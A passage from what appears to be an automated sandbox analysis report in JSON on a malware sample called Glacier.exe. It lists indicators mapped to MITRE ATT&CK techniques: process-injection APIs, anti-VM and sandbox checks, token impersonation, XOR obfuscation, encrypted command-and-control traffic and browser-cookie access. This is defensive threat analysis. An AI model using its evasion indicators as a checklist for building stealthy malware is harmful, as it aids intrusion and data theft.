00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"file/memory contains long string with (Indicator: \"OpenThreadToken\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"Glacier.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"_PR_NT_InitSids: OpenProcessToken() failed. Error: %d\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"file/memory contains long string with (Indicator: \"RegSetValue\"; File: \"Glacier.exe\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"file/memory contains long string with (Indicator: \"OpenService\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$29","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"taskkill.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at 987B0000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"taskkill.exe\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"\"Glacier.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\NAMESPACE_CATALOG5\\CATALOG_ENTRIES64\\000000000002\")\n \"Glacier.exe\" (Access type: \"QUERY\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\NAMESPACE_CATALOG5\\CATALOG_ENTRIES64\")\n \"Glacier.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\NAMESPACE_CATALOG5\\CATALOG_ENTRIES64\\000000000003\")\n \"Glacier.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\NAMESPACE_CATALOG5\\CATALOG_ENTRIES64\\000000000003\")\n \"Glacier.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\NAMESPACE_CATALOG5\\CATALOG_ENTRIES64\\000000000004\")\n \"Glacier.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WINSOCK2\\PARAMETERS\\NAMESPACE_CATALOG5\\CATALOG_ENTRIES64\\000000000004\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$2c","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"Assembly shows XOR instruction xor rax\n 02h in Stream UID: 46513-27686-0044AFFC\n Assembly shows XOR instruction xor eax\n 02h in Stream UID: 46513-27686-0044AFFC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"C_EncryptMessageNext\" (Indicator: \"EncryptMessage\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"C_EncryptMessageBegin\" (Indicator: \"EncryptMessage\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"C_EncryptMessage\" (Indicator: \"EncryptMessage\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"file/memory contains long string with (Indicator: \"CertCloseStore\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"CryptReleaseContext\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"CertOpenSystemStore\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"CryptAcquireContext\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"CertFreeCertificateContext\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"CertEnumCertificatesInStore\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"C_DecryptMessageNext\" (Indicator: \"DecryptMessage\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"C_DecryptMessageBegin\" (Indicator: \"DecryptMessage\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"C_DecryptMessage\" (Indicator: \"DecryptMessage\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2f","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$30","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$31","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"file/memory contains long string with (Indicator: \"github.com\"; File: \"akg_362d94e6_a.tmp\")\n file/memory contains long string with (Indicator: \"youtube.com\"; File: \"akg_362d94a7_8.tmp\")\n file/memory contains long string with (Indicator: \"youtube.com\"; File: \"akg_362d8ed0_3.tmp\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to detect sandbox environment via user account","description":"Found string \"WDAGUtilityAccount\" (Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-9009","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to detect virtual machine (string)","description":"Found string \"SOFTWARE\\Oracle\\VirtualBox Guest Additions\" (Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-989","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00001176.00000001.167729.6E434000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"UserName\" (Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")\n Found string \"RelaRelaGetUserNameA\" (Source: \"00000000-00001176.00000001.167729.00080000.00000004.mdmp\")\n Found string \"laGetUserNameA\" (Source: \"00000000-00001176.00000001.167729.00080000.00000004.mdmp\")\n Found string \"etUserNameExW\" (Source: \"00000000-00001176.00000001.167729.74510000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"Glacier.exe\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001176-00000C2C-1607037558\")\n Found string \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; File: \"Glacier.exe\")\n Found string \"syscall.procGetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"Glacier.exe\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001176.00000001.167729.00080000.00000004.mdmp\")\n Found string \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001176.00000001.167729.0118E000.00000002.mdmp\")\n Found string \"syscall.procGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001176.00000001.167729.0118E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using web history","description":"Found string \"??\\C:\\Users\\VXQ8XVw\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\History-wal\" (Source: \"00000000-00001176.00000001.167729.74510000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-662","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using sandbox registry","description":"Found string \"SOFTWARE\\VMware, Inc.\\VMware Tools\" (Indicator: \"software\\vmware, inc.\\vmware tools\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")\n Found string \"SOFTWARE\\Oracle\\VirtualBox Guest Additions\" (Indicator: \"software\\oracle\\virtualbox guest additions\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters\" (Indicator: \"software\\microsoft\\virtual machine\\guest\\parameters\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-668","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual/sandbox environment","description":"Found string \"SYSTEM\\CurrentControlSet\\Services\\VBoxGuest\" (Indicator: \"VBoxGuest\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")\n Found string \"SYSTEM\\CurrentControlSet\\Services\\vmci\" (Indicator: \"\\vmci\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-660","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual/sandbox environment devices","description":"Found string \"SYSTEM\\CurrentControlSet\\Services\\VBoxGuest\" (Indicator: \"\\vboxguest\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")\n Found string \"SYSTEM\\CurrentControlSet\\Services\\vmci\" (Indicator: \"\\vmci\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-667","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform anti-VM checks using CPUID","description":"Found string \"KVMKVMKVM\" (Indicator: \"kvmkvmkvm\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":3,"id":"string-674","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"file/memory contains long string(File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00001176.00000001.167729.6E434000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"$32","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-5058","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"Glacier.exe\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"PR_GetAddrInfoByName\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"Glacier.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"Glacier.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"Glacier.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"Glacier.exe\" called \"GetForegroundWindow\" (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"Glacier.exe\" called \"GetWindowTextA\" (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"Glacier.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$34","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"Glacier.exe\" called \"GetVersionExA\" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"Glacier.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"SELECT * FROM (SELECT 'sqlite_schema' AS name,1 AS rootpage,'table' AS type UNION ALL SELECT name,rootpage,type FROM \"%w\".sqlite_schema WHERE rootpage!=0)\" (Indicator: \"select * from \"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found string \"CREATE TEMPORARY TABLE %s AS SELECT * FROM %s\" (Indicator: \"select * from \"; Source: \"00000000-00001176.00000001.167729.79ACB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"Glacier.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"Glacier.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry 